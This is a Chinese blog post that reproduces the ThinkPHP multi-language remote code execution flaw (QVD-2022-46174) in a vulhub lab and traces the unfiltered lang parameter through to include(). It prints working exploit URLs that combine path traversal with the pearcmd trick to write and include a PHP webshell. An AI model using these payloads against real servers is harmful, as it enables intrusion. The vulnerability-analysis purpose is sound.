Thinkphp QVD-2022-46174 多语言rce

news2024/11/15 22:24:31

文章目录

    • 漏洞介绍
    • vulhub漏洞搭建
    • 漏洞利用
      • 利用一:写入文件
      • 利用二:文件包含
    • 漏洞分析
      • 参考文章

漏洞介绍

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:

  1. PHP环境开启了register_argc_argv
  2. PHP环境安装了pcel/pear

Docker默认的PHP环境恰好满足上述条件。所以先使用vulhub进行漏洞利用的复现

vulhub漏洞搭建

cd vulhub/thinkphp/lang-rce
编译环境
docker-compose build
运行环境
docker-compose up -d

访问 ip:8080

image-20230116155721851

漏洞利用

测试包含public/index.php文件来确认文件包含漏洞是否存在

?lang=../../../../../public/index

如果漏洞存在,则服务器会出错,返回500页面

image-20230116160441349

利用一:写入文件

利用pearcmd写入shell文件

?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php

image-20230116160912793

如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功

此时访问url/shell.php即可发现已经成功写入文件

image-20230116161039030

利用二:文件包含

使用pearcmd在/tmp文件夹下创建文件再进行包含,P神文章

?lang=../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/shell.php

image-20230116164435443

?lang=../../../../../../../tmp/shell

image-20230116164451808

2023 realword ctf体验赛 中出现了这个利用方法

漏洞分析

TP6在路径app/middleware.php 开启多语言特性

image-20230116144503740

image-20230116144354708

测试漏洞成功

thinkphp程序初始化都会运行src/think/App.php里的initialize()方法

image-20230116174457963

函数中使用this->loadLangPack()获取语言包,跟进loadLangPack()方法

image-20230116175150102

却发现只有加载默认语言包的功能,换一条路

访问

?lang=../../../../../public/index

src/think/middleware/LoadLangPack.php 查看LoadLangPack.php

image-20230116175624231

在 middleware 的 handle() 函数会被调用,这里断在 LoadLangPack.phphandle()

跟进detect()方法

image-20230116175925115

可以看到依次排查了 GET["lang"]HEADER["think-lang"]COOKIE["think_lang"] ,并且将其不做任何过滤,直接赋值给了 $langSet

继续走下去

此时payload被赋值给为参数$langSet。回到loadLangPack函数,下一步执行

$this->request->setLangset($this->lang->range() ) 调用setLangset()

image-20230116203244436 image-20230116203256382

如果返回的 $langset 不等于默认的 langset

那么就会调用 $this->lang->switchLangSet($langset) ,正是在这里面实现了 文件包含

image-20230118114249426

跟进 switchLangSet() ,可以看到调用了 $this->load() ,而传入的参数直接拼接而成文件的路径

image-20230118120954457

继续跟进这个load()

image-20230118121256510

判断文件是否存在,把文件路径又调用给了parse(),跟进parse()

image-20230118121509577

可以看到进行了include文件包含, 造成文件包含漏洞

可以通过目录穿越实现任意 php 文件的包含,那么用 pearcmd 文件包含这个 trick ,就能 RCE 了

参考文章

https://xz.aliyun.com/t/11940

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

https://tttang.com/archive/1865/#toc_thinkphp-6

https://github.com/vulhub/vulhub/blob/master/thinkphp/lang-rce/README.zh-cn.md

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/171017.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[从零开始]用python制作识图翻译器·三

AlsoEasy-RecognitionTranslator具体实现开发环境准备和验证下载conda创建开发环境文字识别模块在线模块离线模块机器翻译模块在线模块离线模块GUIGUI-定位模块GUI-截图模块具体实现 开发环境准备和验证 前期测试项目文件已上传到我的仓库。 下载conda conda是python的版本管…

Day863.协程 -Java 并发编程实战

协程 Hi&#xff0c;我是阿昌&#xff0c;今天学习记录的是关于协程的内容。 Java 语言里解决并发问题靠的是多线程&#xff0c;但线程是个重量级的对象&#xff0c;不能频繁创建、销毁&#xff0c;而且线程切换的成本也很高&#xff0c;为了解决这些问题&#xff0c;Java SD…

C++设计模式(4)——策略模式

策略模式 亦称&#xff1a; Strategy 意图 策略模式是一种行为设计模式&#xff0c; 它能让你定义一系列算法&#xff0c; 并将每种算法分别放入独立的类中&#xff0c; 以使算法的对象能够相互替换。 问题 一天&#xff0c; 你打算为游客们创建一款导游程序。 该程序的核心…

什么是CNCF云原生

一、CNCF简介 CNCF&#xff1a;全称Cloud Native Computing Foundation&#xff08;云原生计算基金会&#xff09;&#xff0c;成立于2015年12月11日&#xff0c;是一个开源软件基金会&#xff0c;它致力于云原生&#xff08;Cloud Native&#xff09;技术的普及和可持续发展。…

golang 错误处理channel+error真的香

官方推荐golang中错误处理当做值处理&#xff0c; 既然是值那就可以在channel中传输&#xff0c;本文带你看看golang中channelerror来做异步错误处理有多香&#xff0c;看完本文还会觉得golang的错误处理相比java try catch一点优势都没有吗&#xff1f; 场景 如下&#xff0…

LeetCode刷题笔记 - JavaScript(二)

文章目录1.剑指 Offer 60. n个骰子的点数2.面试题67. 把字符串转换成整数3.面试题59 - II. 队列的最大值剑指 Offer 60. n个骰子的点数 面试题67. 把字符串转换成整数 面试题59 - II. 队列的最大值 1.剑指 Offer 60. n个骰子的点数 把n个骰子扔在地上&#xff0c;所有骰子朝上一…

Java运行机制

java的运行机制 Java程序的运行机制分为编写、编译和运行三个步骤。 1.编写 编写是指在Java开发环境中进行程序代码的编辑&#xff0c;最终生成后缀名为“.java”的Java源文件。 2.编译 编译是指使用Java编译器对源文件进行错误排查的过程&#xff0c;编译后将生成后缀名为…

一篇文章带你熟悉Ajax

文章目录一、AJAX 简介二、创建 AJAX 的基本步骤1. 创建 XMLHttpRequest 对象2.向服务器发送请求3.服务器响应状态一、AJAX 简介 ☀️AJAX 的英文全称为 Asynchronous JavaScript And XML&#xff0c;Asynchronous 是异步的意思。何为异步呢&#xff1f;在这里异步是指通过 AJA…

IT运维服务体系的总体架构是什么?

大家好&#xff0c;我是技福的小咖老师。 今天我们来简单介绍一下IT运维服务体系的总体架构。 运维服务体系由运维服务制度、运维服务流程、运维服务组织、运维服务队伍、运维技术服务平台以及运行维护对象六部分组成&#xff0c;涉及制度、人、技术、对象四类因素。制度是规…

每日一题-力扣(leetcode)2368. 受限条件下可到达节点的数目

题目描述 现有一棵由 n 个节点组成的无向树&#xff0c;节点编号从 0 到 n - 1 &#xff0c;共有 n - 1 条边。 给你一个二维整数数组 edges &#xff0c;长度为 n - 1 &#xff0c;其中 edges[i] [ai, bi] 表示树中节点 ai 和 bi 之间存在一条边。另给你一个整数数组 restr…

激光雷达对植被冠层结构和SIF同时探测展望

前言陆表植被在全球碳循环中起着不可替代的作用。但现阶段&#xff0c;人们对气候变化与植被生态理化功能的关系的研究还不够完善。为了提高气候预测以及缓解气候恶化的速率&#xff0c;对植被参数比如&#xff1a;叶面积指数&#xff08;leaf&#xff09;、植被冠层结构&#…

JavaScript JSON序列化和反序列化

文章目录JavaScript JSON序列化和反序列化概述JSON序列化JSON.stringify()仅一个参数使用使用2个参数使用3个参数其他自定义toJson序列化顺序反序列化JSON.parse()仅一个参数使用使用2个参数eval()JavaScript JSON序列化和反序列化 概述 JSON数据在网络传输时存在两种类型&am…

【虹科云展厅】虹科赋能汽车智能化云展厅专题回顾

虹科赋能汽车智能化云展厅 聚焦前沿技术&#xff0c;【虹科赋能汽车智能化云展厅】正式上线&#xff0c;本次云展厅围绕“汽车以太网/TSN、汽车总线、智能网联、电子测试与验证、自动驾驶”等核心话题&#xff0c;为您带来如临展会现场般的讲演与介绍&#xff0c;更有技术工程…

PromQL之选择器和运算符

平台统一监控的介绍和调研直观感受PromQL及其数据类型PromQL之选择器和运算符 PromQL 匹配器 相等匹配器&#xff08;&#xff09; 选择与提供的字符串完全相同的数据 例&#xff1a;筛选出id“G1 Eden Space” 的数据 jvm_memory_used_bytes{id"G1 Eden Space"}…

Elasticsearch高级查询—— 匹配查询文档

目录一、初始化文档数据二、匹配查询文档示例2.1、概述2.2、示例一、初始化文档数据 在 Postman 中&#xff0c;向 ES 服务器发 POST 请求 &#xff1a;http://localhost:9200/user/_doc/1&#xff0c;请求体内容为&#xff1a; {"name":"张三","age&…

知识图谱与神经网络,神经调节知识网络图

1、图立方和知识图谱的区别和联系与区别 图网络&#xff0c;即Natural Graph&#xff0c;是基于世界各实体之间的自然关系表示而得到的图&#xff0c;他们的节点一般是某个特定网络中的实体&#xff08;人、物理机、分子&#xff09;。例如&#xff1a;社交网络、通信网络、蛋…

阿里云-ODPS SQL-日常开发日期、字符、数学运算、聚合函数函数使用技巧

文章目录1、背景2、 数据处理2.1、OLTP与OLAP概念2.2、OLTP与OLAP区别3、日常开发常用函数3.1、日期函数3.2、数学运算函数3.3、字符串处理函数3.4、聚合函数1、背景 数据仓库&#xff0c;是一个面向主题的、集成的、随时间变化的、信息本身相对稳定的数据集合。 数据仓库从Or…

2-Node.js 内置模块

Node.js 内置模块 简介 之前说过&#xff0c;Node.js 中重要的两句话是 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型&#xff0c;使其轻量又高效。 上面两句话&#xff0c;可以使用下面的图片来具体认识。…

【机器学习 - 5】:多元线性回归

文章目录多元线性回归多元线性回归公式推导举例&#xff1a;波士顿房价取特征值RM为例取所有特证为例多元线性回归 多元线性回归方程&#xff1a;特征值为两个或两个以上。 以下是多元线性回归的模型&#xff0c;我们需要求出theta&#xff0c;使得真实值和预测值的差值最小。 …

2023寒假算法集训营1

A. World Final? World Cup! (I) &#xff08;模拟、枚举&#xff09; 题意&#xff1a; 给定一个长度为 10 的01串&#xff0c;表示 A、B 双方的点球情况&#xff0c;1 表示罚进&#xff0c;0 表示罚不进。 A 先手&#xff0c;交替罚点球&#xff0c;各罚五次。 得分多者…